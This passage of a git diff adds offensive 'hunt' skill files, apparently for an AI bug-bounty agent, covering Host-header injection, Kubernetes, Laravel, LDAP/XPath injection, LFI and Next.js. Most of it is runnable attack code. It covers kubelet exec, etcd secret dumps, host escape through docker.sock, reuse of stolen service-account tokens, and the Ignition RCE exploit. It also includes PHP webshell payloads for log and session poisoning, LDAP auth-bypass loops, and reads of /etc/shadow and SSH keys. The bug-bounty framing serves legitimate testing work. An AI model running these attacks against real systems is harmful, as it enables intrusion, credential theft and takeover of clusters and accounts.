$TARGET" \+ -H "X-Forwarded-Host: evil.com" | grep -i "evil.com"++# Check if response is cacheable+curl -sI https://$TARGET/ | grep -E "(Cache-Control|CF-Cache-Status|X-Cache|Age|Surrogate)"++# If reflected + cacheable = cache poison candidate+# Test with XSS payload (for PoC, use harmless signal first)+curl -s "https://$TARGET/" \+ -H "X-Forwarded-Host: collab-host.com"+# Check collab for DNS/HTTP callback+```++### Phase 3 — SSRF via Host Header+```bash+# Internal forward proxies may honor Host for routing+curl -s https://$TARGET/internal \+ -H "Host: 169.254.169.254"++# AWS metadata via Host-based SSRF+curl -s "https://$TARGET/" \+ -H "Host: 169.254.169.254" \+ -H "X-Original-URL: /latest/meta-data/"++# Port-based routing test+curl -s https://$TARGET/ \+ -H "Host: localhost:6379" # Redis+```++### Phase 4 — OAuth / OIDC Poisoning+```bash+# Does OAuth flow use Host header for redirect_uri construction?+curl -s "https://$TARGET/oauth/authorize?response_type=code&client_id=app" \+ -H "Host: evil.com" | grep -i "redirect"+```++### Phase 5 — Header Fuzzing (Param Miner)+```bash+# Headers to test+HOST_HEADERS=(+ "X-Forwarded-Host"+ "X-Host"+ "X-Forwarded-Server"+ "X-HTTP-Host-Override"+ "Forwarded"+ "X-Original-URL"+ "X-Rewrite-URL"+ "X-Override-URL"+)++for HEADER in "${HOST_HEADERS[@]}"; do+ RESULT=$(curl -s -I "https://$TARGET/forgot-password" \+ -H "$HEADER: evil.com" \+ -X POST -d "[email protected]" | head -20)+ echo "=== $HEADER ==="+ echo "$RESULT"+done+```++---++## Chain Table++| Finding | Chain to | Impact |+|---------|----------|--------|+| Password reset reflects Host | Use test account, confirm evil.com in link | High - ATO for any user |+| Host reflected in response | Check if cacheable + add XSS payload | Cache poisoning |+| Internal proxy honors Host | Probe 169.254.169.254 | SSRF → cloud metadata |+| OAuth uses Host for redirect | Intercept auth code | ATO via OAuth code theft |++---++## Validation++✅ Password reset: evil.com appears in reset URL in your own test account's email+✅ Cache poison: fresh browser receives response with attacker-controlled content+✅ SSRF: cloud metadata or internal service response returned++**Severity:**+- Password reset → ATO for any user: High/Critical+- Cache poisoning → mass XSS: High+- SSRF → cloud metadata: High+- Reflected only in uncacheable, non-email response: Lowdiff --git a/skills/hunt-k8s/SKILL.md b/skills/hunt-k8s/SKILL.mdnew file mode 100644index 0000000..1f91bed--- /dev/null+++ b/skills/hunt-k8s/SKILL.md@@ -0,0 +1,220 @@+---+name: hunt-k8s+description: Hunt Kubernetes and Docker specific vulnerabilities — Kubernetes API anonymous access, kubelet 10250 unauth exec, etcd 2379 unauth, dashboard exposure, RBAC misconfig, secret leakage, docker.sock exposure, privileged container escape, container registry exposure, pod service account token abuse. Use when target runs containerized infrastructure, exposes K8s ports, or when cloud metadata reveals K8s service accounts.+sources: hackerone_public, cve_database, kubernetes_security_research+report_count: 13+---++# HUNT-K8S — Kubernetes & Docker Security++## Crown Jewel Targets++Kubernetes API anonymous access = full cluster control. docker.sock exposure = host escape.++**Highest-value findings:**+- **K8s API anonymous access** — `system:anonymous` or `system:unauthenticated` has cluster-admin rights → `kubectl` full control+- **Kubelet unauth (`10250`)** — `/exec` endpoint allows running commands in any pod without authentication+- **etcd unauth (`2379`)** — all K8s secrets (service account tokens, TLS keys, user credentials) stored plaintext → full cluster compromise+- **docker.sock exposure** — if SSRF/LFI reaches `/var/run/docker.sock` → create privileged container → host escape → root on underlying VM+- **Service Account token abuse** — pod SA token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token` → if token has cluster-wide permissions → full cluster access+- **K8s Dashboard unauth** — web UI with full cluster management accessible without auth++---++## Phase 1 — Fingerprint & Port Discovery++```bash+# Common Kubernetes ports+PORTS="443,6443,8443,8080,10250,10255,2379,2380,4194,9090"+nmap -sV -p $PORTS $TARGET 2>/dev/null | grep "open"++# K8s API server fingerprint+curl -sk "https://$TARGET:6443/api" | python3 -m json.tool 2>/dev/null | head -10+curl -sk "https://$TARGET:443/api/v1/namespaces" | head -5+curl -sk "https://$TARGET:8443/api" | head -5++# K8s via SSRF — test from within cloud environment+curl -s "http://169.254.169.254/latest/meta-data/placement/availability-zone" # AWS EKS+curl -s "http://169.254.169.254/metadata/instance" -H "Metadata: true" # Azure AKS+```++---++## Phase 2 — Kubernetes API Anonymous Access++```bash+# Test anonymous access to K8s API+kubectl --insecure-skip-tls-verify --server=https://$TARGET:6443 get namespaces 2>/dev/null+kubectl --insecure-skip-tls-verify --server=https://$TARGET:6443 get pods --all-namespaces 2>/dev/null+kubectl --insecure-skip-tls-verify --server=https://$TARGET:6443 get secrets --all-namespaces 2>/dev/null++# Via curl (no kubectl needed)+curl -sk "https://$TARGET:6443/api/v1/namespaces" | python3 -m json.tool 2>/dev/null+curl -sk "https://$TARGET:6443/api/v1/pods" | python3 -m json.tool 2>/dev/null+curl -sk "https://$TARGET:6443/api/v1/secrets" | python3 -m json.tool 2>/dev/null++# Check what anonymous can do+curl -sk "https://$TARGET:6443/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \+ -H "Content-Type: application/json" \+ -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"resource":"pods","verb":"list"}}}'+```++---++## Phase 3 — Kubelet Unauth (Port 10250)++```bash+# List running pods+curl -sk "https://$TARGET:10250/pods" | python3 -m json.tool 2>/dev/null | \+ grep -E '"namespace"|"name"' | head -30++# Execute command in a running container (no auth required!)+# First get a pod name from /pods response+POD_NAME="target-pod-name"+NAMESPACE="default"+CONTAINER="app"++curl -sk "https://$TARGET:10250/exec/$NAMESPACE/$POD_NAME/$CONTAINER" \+ -X POST \+ --data-urlencode "command=id" \+ --data-urlencode "input=1" \+ --data-urlencode "output=1" \+ --data-urlencode "tty=0"++# Read container logs+curl -sk "https://$TARGET:10250/containerLogs/$NAMESPACE/$POD_NAME/$CONTAINER"++# Read-only kubelet (port 10255 — no exec but info disclosure)+curl -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head -50+curl -s "http://$TARGET:10255/stats/summary" | python3 -m json.tool 2>/dev/null | head -30+```++---++## Phase 4 — etcd Unauth (Port 2379)++```bash+# etcd stores ALL K8s data — secrets, tokens, configs+# Install etcdctl+brew install etcd++# List all keys+ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 get / --prefix --keys-only 2>/dev/null | head -50++# Get all secrets+ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \+ get /registry/secrets --prefix 2>/dev/null | strings | \+ grep -E "(token|password|key|secret)" | head -30++# Get service account tokens+ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \+ get /registry/secrets/default --prefix 2>/dev/null | strings++# Via curl (HTTP API)+curl -s "http://$TARGET:2379/v3/kv/range" \+ -H "Content-Type: application/json" \+ -d '{"key": "Lw==", "range_end": "Lw==", "limit": 10}' | \+ python3 -m json.tool 2>/dev/null+```++---++## Phase 5 — Docker Socket Exposure (via SSRF/LFI)++```bash+# If SSRF/LFI found, check for docker.sock+# Via LFI: read /proc/net/unix for socket paths+# Via SSRF: use unix:// protocol++# SSRF via unix socket (if curl supports it — many systems do)+curl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/containers/json+curl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/info++# Via SSRF with gopher:// to interact with docker.sock+# Step 1: Craft command to run privileged container+CMD='docker run -it --privileged --net=host -v /:/mnt alpine chroot /mnt /bin/sh'++# Step 2: Create container via Docker API+curl -s --unix-socket /var/run/docker.sock \+ -H "Content-Type: application/json" \+ -X POST http://localhost/v1.41/containers/create \+ -d '{+ "Image": "alpine",+ "Cmd": ["sh", "-c", "cp /mnt/etc/passwd /tmp/output"],+ "HostConfig": {+ "Privileged": true,+ "Binds": ["/:/mnt"]+ }+ }'+```++---++## Phase 6 — Service Account Token Abuse++```bash+# If RCE/LFI inside a pod:+# Read the service account token+cat /var/run/secrets/kubernetes.io/serviceaccount/token+cat /var/run/secrets/kubernetes.io/serviceaccount/namespace+cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt++# Use token to access K8s API+TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)+APISERVER="https://kubernetes.default.svc"++curl -sk "$APISERVER/api/v1/namespaces" \+ -H "Authorization: Bearer $TOKEN"++curl -sk "$APISERVER/api/v1/secrets" \+ -H "Authorization: Bearer $TOKEN"++# Check what this SA can do+curl -sk "$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \+ -H "Authorization: Bearer $TOKEN" \+ -H "Content-Type: application/json" \+ -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'+```++---++## Phase 7 — Kubernetes Dashboard++```bash+# Default dashboard port+curl -sk "https://$TARGET:8443/#/login" | grep -i "kubernetes dashboard"+curl -sk "https://$TARGET:30000" | grep -i "dashboard"+curl -sk "https://$TARGET/kubernetes-dashboard" | grep -i "dashboard"++# Test skip-login bypass (older versions)+curl -sk "https://$TARGET:8443/api/v1/secret" -H "Authorization: "++# Check if dashboard is accessible without token+curl -sk "https://$TARGET:8443/api/v1/namespace/default/pod" | head -5+```++---++## Chain Table++| K8s finding | Chain to | Impact |+|-------------|----------|--------|+| API anonymous access | List/read all secrets → extract tokens/creds | Full cluster compromise |+| Kubelet 10250 unauth | exec in any pod → read SA token | Cluster privilege escalation |+| etcd unauth | Read all K8s secrets | Full credential dump |+| docker.sock via SSRF | Create privileged container → host escape | Host-level RCE |+| SA token with cluster-admin | Full cluster API access | Full cluster compromise |++---++## Validation++✅ API anon: `kubectl get pods` works without credentials+✅ Kubelet: command output returned from `/exec` endpoint+✅ etcd: K8s secret values (tokens, passwords) readable+✅ docker.sock: container list returned, privileged container creation succeeds++**Severity:**+- All findings above: Critical+- Read-only kubelet 10255: Medium (info disclosure)+- Dashboard accessible (view only): Highdiff --git a/skills/hunt-laravel/SKILL.md b/skills/hunt-laravel/SKILL.mdnew file mode 100644index 0000000..250526e--- /dev/null+++ b/skills/hunt-laravel/SKILL.md@@ -0,0 +1,203 @@+---+name: hunt-laravel+description: Hunt Laravel specific vulnerabilities — Debug mode leakage (APP_DEBUG=true exposes full stack trace + env vars), Laravel Telescope/Horizon dashboard unauthorized access, Ignition RCE (CVE-2021-3129), Signed URL manipulation, Queue Worker abuse, mass assignment via Eloquent, deserialization via cookies, .env file exposure. Use when target runs Laravel (PHP) — detected via X-Powered-By, Laravel session cookies, or /storage/ paths.+sources: hackerone_public, cve_database+report_count: 14+---++# HUNT-LARAVEL — Laravel Specific Vulnerabilities++## Crown Jewel Targets++Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).++**Highest-value findings:**+- **Ignition RCE (CVE-2021-3129)** — `APP_DEBUG=true` + Laravel < 8.4.2 → `/_ignition/execute-solution` RCE without auth+- **Telescope dashboard** — `/telescope` exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables+- **Horizon dashboard** — `/horizon` exposes queue job details, failed jobs with full payloads (may contain API keys, PII)+- **Signed URL manipulation** — if `URL::signedRoute` validates wrong params → bypass signed URL → unauthorized actions+- **.env exposure** — `APP_KEY` leaked → decrypt all encrypted cookies → forge session → ATO++---++## Phase 1 — Fingerprint Laravel++```bash+# Laravel-specific indicators+curl -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"+curl -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"++# Common Laravel paths+for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do+ STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")+ [ "$STATUS" != "404" ] && echo "$path: $STATUS"+done++# Check error page (trigger 404)+curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"+```++---++## Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)++```bash+# Step 1: Check if debug mode is enabled (Whoops error page)+curl -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"++# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129++# Step 2: Check Ignition endpoint+curl -s "https://$TARGET/_ignition/health-check" | head -5++# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation+# (Requires debug mode + writable storage/logs)+# Tool: ambionics/laravel-ignition-rce+git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce+php /tmp/laravel-rce/exploit.php https://$TARGET "id"++# Manual test — send solution request+curl -s -X POST "https://$TARGET/_ignition/execute-solution" \+ -H "Content-Type: application/json" \+ -d '{+ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",+ "parameters": {+ "variableName": "x",+ "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"+ }+ }'+```++---++## Phase 3 — Laravel Telescope & Horizon++```bash+# Telescope — request/response logs, DB queries, jobs, cache, events+curl -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"+curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50+curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30+curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30+curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50++# Horizon — queue worker dashboard+curl -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"+curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null+curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50+# Failed job payloads often contain full request data including auth tokens++# Common paths+for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do+ STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")+ [ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"+done+```++---++## Phase 4 — .env File & APP_KEY Exposure++```bash+# Direct .env access+curl -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"+curl -s "https://$TARGET/.env.production"+curl -s "https://$TARGET/.env.backup"+curl -s "https://$TARGET/.env.local"++# If APP_KEY found:+APP_KEY="base64:XXXXXXX"+echo "APP_KEY=$APP_KEY"+# → Can decrypt all Laravel encrypted cookies+# → Can forge session cookies → ATO for any user++# Also check+curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"+```++---++## Phase 5 — Signed URL Manipulation++```bash+# Laravel signed URLs contain signature param: ?signature=HASH+# Find signed URL endpoints+cat recon/$TARGET/urls.txt | grep "signature="++# Test: modify a non-signature parameter — should fail validation+SIGNED_URL="https://$TARGET/unsubscribe?user=123&[email protected]&signature=VALID_SIG"++# Modify user ID → should fail if properly signed+curl -s "${SIGNED_URL/user=123/user=999}"++# Test signature bypass: remove signature entirely+curl -s "${SIGNED_URL/&signature=VALID_SIG/}"++# Test: does the app validate ALL parameters or just some?+curl -s "${SIGNED_URL}&extra=malicious"+```++---++## Phase 6 — Mass Assignment via Eloquent++```bash+# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly+# Test: add extra fields to update/create requests++# Profile update+curl -s -X POST "https://$TARGET/api/profile" \+ -H "Cookie: laravel_session=SESSION" \+ -H "Content-Type: application/json" \+ -d '{"name": "Test", "email": "[email protected]", "is_admin": true, "role": "admin"}'++# Registration+curl -s -X POST "https://$TARGET/api/register" \+ -H "Content-Type: application/json" \+ -d '{"name": "Test", "email": "[email protected]", "password": "test123", "verified": true, "admin": 1}'+```++---++## Phase 7 — Laravel Cookie Deserialization++```bash+# If APP_KEY is known, forge a session cookie with malicious serialized payload+# Uses phpggc gadget chains++# Get the app key+APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)++# Generate payload with phpggc+php phpggc Laravel/RCE5 system 'id' | base64++# Sign the cookie with the app key using laravel-cookie-forge script+# python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"+```++---++## Chain Table++| Laravel finding | Chain to | Impact |+|----------------|----------|--------|+| Debug mode ON | CVE-2021-3129 Ignition RCE | Critical RCE |+| Telescope accessible | Read API keys, DB queries, env vars | High - credential theft |+| Horizon accessible | Read failed job payloads | High - PII/token exfil |+| .env exposed with APP_KEY | Forge session cookie → ATO | Critical ATO |+| Signed URL bypass | Unauthorized actions (unsubscribe any user, etc.) | Medium-High |+| Mass assignment | Set is_admin=true → privilege escalation | Critical |++---++## Validation++✅ Ignition RCE: `id` command output returned in response+✅ Telescope: API responses contain DB queries with credentials or user tokens+✅ APP_KEY: Forged session cookie accepted, returns another user's profile+✅ Mass assignment: `is_admin: true` accepted, account now has admin privileges++**Severity:**+- Ignition RCE: Critical+- Telescope/Horizon with sensitive data: High+- .env with APP_KEY: Critical+- Mass assignment to admin: Criticaldiff --git a/skills/hunt-ldap/SKILL.md b/skills/hunt-ldap/SKILL.mdnew file mode 100644index 0000000..7ebf99c--- /dev/null+++ b/skills/hunt-ldap/SKILL.md@@ -0,0 +1,167 @@+---+name: hunt-ldap+description: Hunt LDAP Injection and XPath Injection — authentication bypass, data exfiltration from Active Directory, directory traversal, AD user/group enumeration. Use when target uses LDAP/AD authentication, corporate SSO with directory backend, or XML-based data stores with XPath queries.+sources: hackerone_public+report_count: 8+---++# HUNT-LDAP — LDAP Injection & XPath Injection++## Crown Jewel Targets++LDAP injection bypassing authentication = Critical. AD data exfiltration = High.++**Highest-value chains:**+- **LDAP auth bypass** — `admin)(|(password=*)` breaks LDAP filter → login without password+- **AD user enumeration** — wildcard LDAP queries enumerate all Active Directory users, emails, groups+- **XPath injection auth bypass** — `' or '1'='1` in XPath query → bypass XML-based auth+- **LDAP blind exfil** — char-by-char attribute extraction via boolean response differences++---++## Attack Surface Signals++```+Corporate SSO login pages+Active Directory integrated authentication+Windows environments (IIS + AD)+/api/ldap/* , /api/directory/*+XML-based config files or data stores+/api/search with corporate directory integration+Error messages: javax.naming.*, LDAP Error Code 49, LDAPException+```++---++## Step-by-Step Hunting Methodology++### Phase 1 — Detect LDAP Backend+```bash+# Inject wildcard in username — LDAP wildcard matches any value+curl -s -X POST https://$TARGET/api/login \+ -H "Content-Type: application/json" \+ -d '{"username": "*", "password": "*"}' | \+ grep -i "invalid\|error\|ldap\|directory"++# Look for LDAP error messages:+# javax.naming.NameNotFoundException+# LDAP Error Code 49+# LDAPException: Invalid DN Syntax+# com.sun.jndi.ldap++# Try invalid LDAP chars to trigger errors+curl -s -X POST https://$TARGET/api/login \+ -d "username=test)(&(uid=*)&password=test" | \+ grep -i "error\|exception\|ldap"+```++### Phase 2 — LDAP Auth Bypass Payloads+```bash+# Normal LDAP filter: (&(uid=USERNAME)(password=PASSWORD))+# Injection breaks the filter to always return true++USERNAME_PAYLOADS=(+ "admin)(&"+ "*)(uid=*))(|(uid=*"+ "admin)(|(uid=*)"+ "*)(&"+ "admin)%00"+)++for PAYLOAD in "${USERNAME_PAYLOADS[@]}"; do+ RESP=$(curl -s -X POST https://$TARGET/api/login \+ -H "Content-Type: application/json" \+ -d "{\"username\": \"$PAYLOAD\", \"password\": \"anything\"}" | head -c 200)+ echo "PAYLOAD: $PAYLOAD"+ echo "RESPONSE: $RESP"+ echo "---"+done+```++### Phase 3 — LDAP Blind Data Exfiltration+```bash+# Blind injection: enumerate first char of admin password+# Different response length/behavior when char matches++for CHAR in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9; do+ LEN=$(curl -s -o /dev/null -w "%{size_download}" \+ -X POST https://$TARGET/api/login \+ -H "Content-Type: application/json" \+ -d "{\"username\": \"admin)(password=$CHAR*))(&(uid=x\", \"password\": \"x\"}")+ echo "$CHAR: $LEN bytes"+done+# Char with different byte count = match+```++### Phase 4 — XPath Injection+```bash+# XPath is used in XML-based auth systems+# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']+# Bypass: ' or '1'='1++XPATH_PAYLOADS=(+ "' or '1'='1"+ "' or 1=1 or 'x'='y"+ "x' or name()='username' or 'x'='y"+ "admin' or '1'='1"+ "' or ''='"+)++for PAYLOAD in "${XPATH_PAYLOADS[@]}"; do+ ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")+ RESP=$(curl -s -X POST https://$TARGET/api/login \+ -d "username=$ENCODED&password=test" | head -c 200)+ echo "$PAYLOAD → $RESP"+ echo "---"+done+```++### Phase 5 — Active Directory Enumeration+```bash+# Wildcard enumeration — does 'a*' match AD users starting with 'a'?+for LETTER in a b c d e f g h i j k l m n o p q r s t u v w x y z; do+ RESP=$(curl -s https://$TARGET/api/search \+ -H "Content-Type: application/json" \+ -d "{\"query\": \"$LETTER*\"}")+ COUNT=$(echo "$RESP" | python3 -c \+ "import sys,json; d=json.load(sys.stdin); print(len(d.get('users',[])))" 2>/dev/null)+ echo "Prefix '$LETTER': ${COUNT:-unknown} results"+done+```++### Phase 6 — LDAP Attribute Extraction+```bash+# Extract user attributes via filter injection+# Test: does ([email protected]) return different response than (mail=x)?+curl -s -X POST https://$TARGET/api/directory/search \+ -H "Content-Type: application/json" \+ -d '{"filter": "([email protected])"}' | head -5++curl -s -X POST https://$TARGET/api/directory/search \+ -H "Content-Type: application/json" \+ -d '{"filter": "(|(mail=*)(uid=*))"}' | head -5+```++---++## Chain Table++| LDAP finding | Chain to | Impact |+|-------------|----------|--------|+| Auth bypass | Admin panel access | Full admin control |+| AD user enumeration | Username list → credential spray | Mass ATO risk |+| Group membership exfil | Identify admin accounts | Targeted attacks |+| Blind LDAP confirmed | Extract password hashes (if stored in LDAP) | Offline crack |++---++## Validation++✅ Auth bypass: logged in without correct credentials via LDAP injection+✅ AD enumeration: able to list users/groups from directory+✅ XPath bypass: authentication succeeded with `' or '1'='1` payload++**Severity:**+- Auth bypass as admin: Critical+- AD user/group enumeration: Medium-High+- Blind LDAP confirmed, no useful exfil: Mediumdiff --git a/skills/hunt-lfi/SKILL.md b/skills/hunt-lfi/SKILL.mdnew file mode 100644index 0000000..a98a023--- /dev/null+++ b/skills/hunt-lfi/SKILL.md@@ -0,0 +1,197 @@+---+name: hunt-lfi+description: Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — /etc/passwd read, log poisoning → RCE, PHP wrappers, zip:// and phar:// chains, directory traversal read/write/delete. Use when hunting file-include or path-traversal bugs on any target.+sources: hackerone_public+report_count: 31+---++# HUNT-LFI — Local File Inclusion / Path Traversal++## Crown Jewel Targets++LFI bugs that reach RCE are Critical. File-read-only is High when it exposes secrets/credentials.++**Highest-value chains:**+- **Log poisoning → RCE** — inject PHP payload into Apache/Nginx access log via User-Agent, then include /var/log/apache2/access.log+- **PHP wrappers → source code** — `php://filter/convert.base64-encode/resource=index.php` leaks full source+- **phar:// deserialization** — upload a crafted PHAR via any upload endpoint, trigger with phar:///uploads/evil.jpg+- **zip:// traversal** — zip archive containing symlink to /etc/passwd, uploaded and included+- **Session file include** — PHP stores sessions in /tmp/sess_SESSIONID; poison via login param, include session file++---++## Attack Surface Signals++### URL Patterns+```+?page=+?file=+?path=+?template=+?view=+?lang=+?module=+?include=+?doc=+?load=+?read=+?content=+?theme=+?layout=+?component=+```++### Technology Stack Signals+| Signal | Vector |+|--------|--------|+| PHP (X-Powered-By, .php ext) | php:// wrappers, phar://, zip:// |+| Apache/Nginx logs readable | Log poisoning → RCE |+| Java servlet (/WEB-INF/) | WEB-INF/web.xml, classes/ read |+| Python Flask | /proc/self/environ, app source read |+| Node.js | require() path traversal in file serve endpoints |+| Windows IIS | C:\Windows\win.ini, \..\..\boot.ini |++---++## Step-by-Step Hunting Methodology++### Phase 1 — Identify Candidates+```bash+# Find LFI parameter candidates+cat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt++# Manual patterns+grep -E "(\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content)=" \+ recon/$TARGET/urls.txt++# Discover file-serving endpoints+ffuf -u "https://$TARGET/FUZZ" -w ~/wordlists/lfi-paths.txt -mc 200,301,302+```++### Phase 2 — Basic Path Traversal+```bash+# Linux basic+?file=../../../etc/passwd+?file=....//....//....//etc/passwd # double-dot bypass+?file=..%2F..%2F..%2Fetc%2Fpasswd # URL encoding+?file=..%252F..%252F..%252Fetc%252Fpasswd # double URL encoding+?file=/etc/passwd%00 # null byte (PHP < 5.3.4)+?file=....\/....\/....\/etc\/passwd # mixed slash++# Windows basic+?file=..\\..\\..\\windows\\win.ini+?file=..%5C..%5C..%5Cwindows%5Cwin.ini+```++### Phase 3 — PHP Wrappers+```bash+# Read PHP source code (base64 encoded)+?file=php://filter/convert.base64-encode/resource=index.php+?file=php://filter/convert.base64-encode/resource=config.php+?file=php://filter/read=string.rot13/resource=../config.php++# Execute code (php://input + POST body)+# Request: POST ?file=php://input+# Body: <?php system('id'); ?>++# Data wrapper (if allow_url_include=On)+?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=+```++### Phase 4 — Log Poisoning → RCE+```bash+# Step 1: Inject PHP payload into Apache/Nginx log via User-Agent+curl -s "https://$TARGET/" -H "User-Agent: <?php system(\$_GET['cmd']); ?>"++# Step 2: Include the log file+?file=../../../var/log/apache2/access.log&cmd=id+?file=../../../var/log/nginx/access.log&cmd=id+?file=../../../proc/self/fd/0 # stdin (Nginx)++# Common log paths+/var/log/apache/access.log+/var/log/apache2/access.log+/var/log/httpd/access_log+/var/log/nginx/access.log+/proc/self/environ+```++### Phase 5 — PHP Session Poisoning+```bash+# Step 1: Set payload in a login field+# Username: <?php system($_GET['cmd']); ?>++# Step 2: Include session file+?file=/tmp/sess_YOUR_PHPSESSID&cmd=id+?file=/var/lib/php/sessions/sess_YOUR_PHPSESSID&cmd=id+```++### Phase 6 — phar:// Deserialization+```bash+# Only if file upload endpoint exists + LFI present+# Create malicious PHAR then rename to pass upload filter+# Upload evil.jpg, then trigger:+?file=phar:///uploads/evil.jpg+```++### Phase 7 — Automation+```bash+# wfuzz LFI fuzzing+wfuzz -c -z file,/usr/share/wfuzz/wordlist/vulns/lfi.txt \+ --hc 404 "https://$TARGET/page.php?file=FUZZ"++# dotdotpwn+dotdotpwn.pl -m http -h $TARGET -o unix+```++---++## Sensitive Files to Read (Linux)+```+/etc/passwd+/etc/shadow+/etc/hosts+/proc/self/environ+/proc/self/cmdline+/var/www/html/config.php+/var/www/html/.env+/var/www/html/wp-config.php+/home/USER/.ssh/id_rsa+/root/.ssh/id_rsa+/root/.bash_history+```++---++## Bypass Table++| Filter | Bypass |+|--------|--------|+| Strips `../` | `....//` (double dot slash) |+| URL decodes once | `%252F` (double encode) |+| Checks extension | `../../etc/passwd%00.jpg` (null byte, PHP < 5.3) |+| Adds prefix `/var/www/` | Use enough `../` to escape |+| Windows | `..\..\..\windows\win.ini` |++---++## Chain Table++| LFI finding | Chain to | Impact |+|-------------|----------|--------|+| File read | /etc/passwd + /proc/self/environ | System user + env variable exfil |+| File read | config.php / .env | DB creds, API keys → full backend access |+| File read + upload | Log poison or phar | RCE (Critical) |+| PHP wrapper | Full source code | Find hardcoded secrets, other vulns |++---++## Validation++✅ Confirmed LFI: You see content of /etc/passwd or other target file in response+✅ Confirmed RCE chain: `id` / `whoami` output visible in response++**Severity:**+- File read only (non-secret): Medium+- File read exposing DB creds / API keys: High+- RCE via log poisoning / session / phar: Criticaldiff --git a/skills/hunt-nextjs/SKILL.md b/skills/hunt-nextjs/SKILL.mdnew file mode 100644index 0000000..455185d--- /dev/null+++ b/skills/hunt-nextjs/SKILL.md@@ -0,0 +1,217 @@+---+name: hunt-nextjs+description: Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js 13/14/15 or any React SSR framework.+sources: hackerone_public, cve_database, portswigger_research+report_count: 19+---++# HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities++## Crown Jewel Targets++Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.++**Highest-value chains:**+- **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil+- **Middleware bypass via `/_next/static/`** — middleware skips static asset paths → protected routes accessible via `/_next/data/` IDOR+- **`/_next/image` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata+- **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users+- **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client++---++## Attack Surface Signals++```+/_next/image?url=&w=&q= Image optimizer — SSRF candidate+/_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate+/__nextjs_original-stack-frame Debug stack frame endpoint+/_next/static/chunks/ JS bundles — source map candidate+/api/ API routes — standard hunt surface+__NEXT_DATA__ in HTML SSR props leaked to client+x-nextjs-* response headers Confirms Next.js+```++---++## Phase 1 — Fingerprint & Version Detection++```bash+# Confirm Next.js and get build ID+curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'+curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"++# Extract build ID for /_next/data/ paths+BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')+echo "Build ID: $BUILD_ID"++# Check Next.js version via package disclosure+curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'++# Source map exposure+curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5+curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5+```++---++## 